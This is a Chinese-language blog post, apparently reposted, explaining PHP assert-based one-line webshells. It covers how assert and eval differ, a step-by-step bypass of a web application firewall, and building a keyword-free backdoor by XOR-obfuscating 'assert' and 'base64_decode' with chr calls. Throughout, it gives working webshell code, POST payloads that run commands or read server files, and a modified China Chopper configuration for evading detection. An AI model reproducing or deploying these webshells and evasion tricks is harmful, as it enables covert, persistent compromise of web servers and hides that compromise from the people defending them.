【技術分享】assert免殺一句話


0x00 eval和assert的區別


http://www.vuln.cn/8395

http://www.php.net/manual/zh/function.eval.php

http://php.net/manual/zh/functions.variable-functions.php

1)assert是函數,eval不是函數,是語言構造器

2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代碼,也可以是php代碼的字符串,assert($a)的$a如果是字符串形式不能有2個以上的分號,如果有2個以上的分號只執行到第一個,使用assert來執行多條php語句可借助eval來實現

eg.

1
assert(eval("echo 1;echo 2;"));

[注意上面這句如果是assert(eval("echo 1;echo 2"));這樣寫是不會執行echo 1也不會執行echo 2的,因為eval使用的字符串要是有分號的php語句]

eg.

1
assert(eval(base64_decode($_POST[cmd])));

菜刀的連接方式為:

1
assert(eval(base64_decode($_POST[z0])));

新版菜刀無法連接assert類型的一句話,因為新版菜刀將連接方式改成了:

1
chopperPassValue=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval($xx($yy[z0]));

相當於:

 

1
2
$xx="base64_decode"
@eval($xx($_POST[z0]))

也即新版菜刀這里有兩個以上的分號導致無法連接assert類型的一句話

link:http://joychou.org/index.php/web/caidao-20141213-does-not-support-php-assert-oneword-backdoor-analysis.html

2011年前的菜刀支持assert類型的webshell,2014年以后的菜刀不支持assert類型的webshell

3)實例

a)assert(phpinfo());

b)assert("phpinfo()");

c)assert("phpinfo();");

上面3個都是可以的,因為PHP函數中的參數如果是字符串可以不加雙引號,但是:

a)assert(phpinfo();)不可執行,因為assert后面要接一個表達式,phpinfo();不是表達式,是一條php語句,但是換成assert("phpinfo();")就可以執行了,這樣"phpinfo();"當作是一個表達式,但是"phpinfo();print_r(666);"[assert的參數為字符串時字符串的引號中有多個分號時]不被當作表達式

b)assert("echo 1")是不可執行的,因為assert不能執行echo,eval("echo 1")是可以的,assert類型的webshell不能用echo來檢測,可以用print_r(1),也即assert("print_r(1)")或assert("print_r(1);")都是可以的

c)assert("print_r(1);print_r(2);")或assert("print_r(1);print_r(2)")都只能執行print_r(1),assert只會執行到第一個分號內的語句

 

0x01 一個waf的繞過過程


1. waf過濾大部分關鍵字,eg.base64_decode,``,system等

2.嘗試用如下方法繞過[uri=mytag_js.php?aid=9527],是個assert類型的webshell,通過echo不能執行,print_r可以執行判斷出不是eval類型webshell

3.考慮有可能是新版菜刀不支持assert類型的webshell連接,換成老版本菜刀依然失敗,換成下面過waf的菜刀依然失敗http://joychou.org/index.php/web/make-own-chopper-which-can-bypass-dog.html

4.hackbar中post:[下面假設密碼是x]

1
x=eval("echo 1;$one=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103));$three=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));echo $_POST[nihao];")&nihao=cGhwaW5mbygp

其中$one="assert",$three="base64_decode",$nihao="phpinfo()"以base64編碼后的結果,結果無法成功執行phpinfo(),將chr去掉變成:

x=eval("echo 1;echo $_POST[nihao];")&nihao=cGhwaW5mbygp,可以執行簡單的echo,現在要想辦法把$one和$three換成其他形式,其他不是chr組合的形式

5.嘗試post換成如下數據[沒有chr]:

1
x=eval("echo 1;$one='assert';$three='b'.'as'.'e'.(64).'_decode';@$one(@$three($_POST[nihao]));")

依然失敗

6.嘗試不用base64_decode,用rot13

1
x=eval(' assert(str_rot13("cucvasb()"))   ;')

可執行phpinfo()語句,嘗試執行system("whoami"),如下:

1
x=eval(' assert(str_rot13("flfgrz(\"jubnzv\")"))   ;')

執行失敗,有可能是php禁用了命令執行函數或服務器開啟了安全模式

7.考慮直接執行讀文件php代碼

 

1
2
3
4
5
x=eval('$filename ="../index.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
print_r($contents);
fclose($handle);')

結果可以執行成功,只是控制起來不方便,每次要自己寫php代碼,嘗試改chopper,將里面的關鍵處的base64_decode換掉

8.最新版本的菜刀可配置度較高,但仍然采用base64加密傳輸,在菜刀目錄下有個caidao.conf利用下面兩個特性更改<PHP_BASE>標簽中的連接方法可過狗:

a)assert類型的webshell正常情況下只能執行一句話[一個分號內的內容],想讓assert類型的webshell執行多句PHP代碼,可借助eval執行多條命令

b)把base64_decode想辦法混淆eg.將caidao.conf中的PHP_BASE改成如下內容:

1
eval('$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);@eval($a("%s"));');

成功過狗

9.在waf阻攔下無法連接一句話chopper時,每種waf的阻攔規則不一樣,可在新版chopper目錄下放多個不同的可過waf的配置文件備用,一個caidao.conf不過狗時再用其他caidao.conf,有效配置為"caidao.conf"文件

 

0x02 免殺無特征無關鍵字一句話


1. 用chr(%d)^chr(%d)代替上面的chr

 

1
2
3
4
for($i=1;$i<=200;$i++)
{echo 'chr(19)^chr('.$i.') is:';
echo chr(19)^chr($i);
echo '<br>';}

2. 上面的php代碼可得到以chr(19)為基礎的關鍵字的組合形式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
chr(19)^chr(114) is:a
chr(19)^chr(96):s
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(97) is:r
chr(19)^chr(103) is:t
chr(19)^chr(113):b
chr(19)^chr(114):a
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(37) is:6
chr(19)^chr(39) is:4
chr(19)^chr(76) is:_
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
chr(19)^chr(112) is:c
chr(19)^chr(124) is:o
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e

3. 組合

1
2
3
$a=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103)) ;
$b=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));
$a($b($_POST[cmd]));

4. 用法

eg.

在hackbar中post:

1
cmd=ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==

其中ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==是eval('echo 1;phpinfo();')的base64編碼的結果

如果要執行更復雜的功能可通過以下步驟:

a)在菜刀中新加webshell的url和對應密碼

b)_charles開sock5代理,eg.127.0.0.1:8889

c)用proxfier設置菜刀[任意版本菜刀都可]的代理為b)中提供的127.0.0.1:8889

d)把想做的動作在菜刀中做出來,在charles中查看對應的base64編碼過的代碼是什么

e)將d中得到的base64編碼過的代碼用hackbar或其他工具base64decode,將解碼后的php代碼替換上面eval('echo 1;phpinfo();')中的echo 1;phpinfo();后再將eval('這里是解碼后的代碼')這個整體用hackbar或其他工具base64編碼下

f)最后將cmd=xxxxxxxxxxxx 在hackbar中post出去,其中xxxxxxxxx是e中編碼后的結果

5. 特點

a)傳輸的數據是base64加密過的沒有任何關鍵字的數據

b)服務端一句話沒有任何關鍵字

c)利用方式不是很方便

 

0x03 相關鏈接


mytag_js.php樣本文件及分析

樣本文件:https://github.com/3xp10it/webshell/tree/master/mytag_js

相關分析:http://www.nxadmin.com/penetration/1168.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM